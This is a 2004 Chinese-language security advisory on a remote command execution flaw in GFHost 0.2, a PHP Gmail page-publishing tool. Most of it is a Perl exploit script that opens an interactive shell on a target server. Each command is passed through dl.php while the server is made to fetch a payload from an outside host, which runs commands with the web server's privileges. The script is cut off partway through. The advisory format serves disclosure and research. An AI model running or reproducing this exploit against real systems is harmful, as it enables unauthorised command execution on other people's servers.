GFHost PHP GMail远程任意命令执行漏洞

发布日期：2004-11-22
更新日期：2004-11-23

受影响系统：

Pablo Hernandez GFHost 0.2

描述：

---

BUGTRAQ ID: 11629

GFHost是允许用户使用Gmail邮件帐户建立包含所有消息的页面工具，并可以发布。

GFHost不正确过滤命令行参数，远程攻击者可以利用这个漏洞以WEB进程权限执行任意命令。

由于对用户提交的URL参数缺少充分过滤，提交恶意SHELL元字符数据，可以WEB进程权限执行任意命令。

<*来源：Jerome ATHIAS （jerome.athias@caramail.com）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=110115586913578&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Jerome ATHIAS （jerome.athias@caramail.com）提供了如下测试方法：

##############################################
# GFHost explo
# Spawn bash style Shell with webserver uid
# Greetz SPAX, foxtwo, Zone-H
# This Script is currently under development
##############################################

use strict;
use IO::Socket;
my $host;
my $port;
my $command;
my $url;
my @results;
my $probe;
my @U;
$U[1] = "/dl.php?a=0.1&OUR_FILE=ff24404eeac528b&f=http://utenti.lycos.it/z00/xpl.gif&cmd=";
&intro;
&scan;
&choose;
&command;
&exit;
sub intro {
&help;
&host;
&server;
sleep 1;
};
sub host {
print "\nHost or IP : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="127.0.0.1"};
print "\nPort (enter to accept 80): ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
};
sub server {
my $X;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X ){
$output = $results[$X];
if (defined $output){
if ($output =~/apache/){ $webserver = "apache" };
};
};
if ($webserver ne "apache"){
my $choice = "y";
chomp $choice;
if ($choice =~/N/i) {&exit};
}else{
print "\n\nOK";
};
};
sub scan {
my $status = "not_vulnerable";
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop ) {
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
$flag = "1";
$status = "vulnerable";
};
};
if ($flag eq "0") {
}else{
};
};
if ($status eq "not_vulnerable"){

};
};
sub choose {

my $choice="1";
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/\D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
};
sub other {
my $other = <STDIN>;
chomp $other;
$U[0] = $other;
};
sub command {
while ($command !~/quit/i) {
print "[$host]\$ ";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose };
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/\s/ /g;
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};
sub connect {
my $connection = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "$port",
) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command HTTP/1.1\r\nHost: $host\r\n\r\n";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.1\r\nHost: $host\r\n\r\n";
};

while ( <$connection> ) {
@results = <$connection>;
};
close $connection;
if ($probe eq "command"){ &output };

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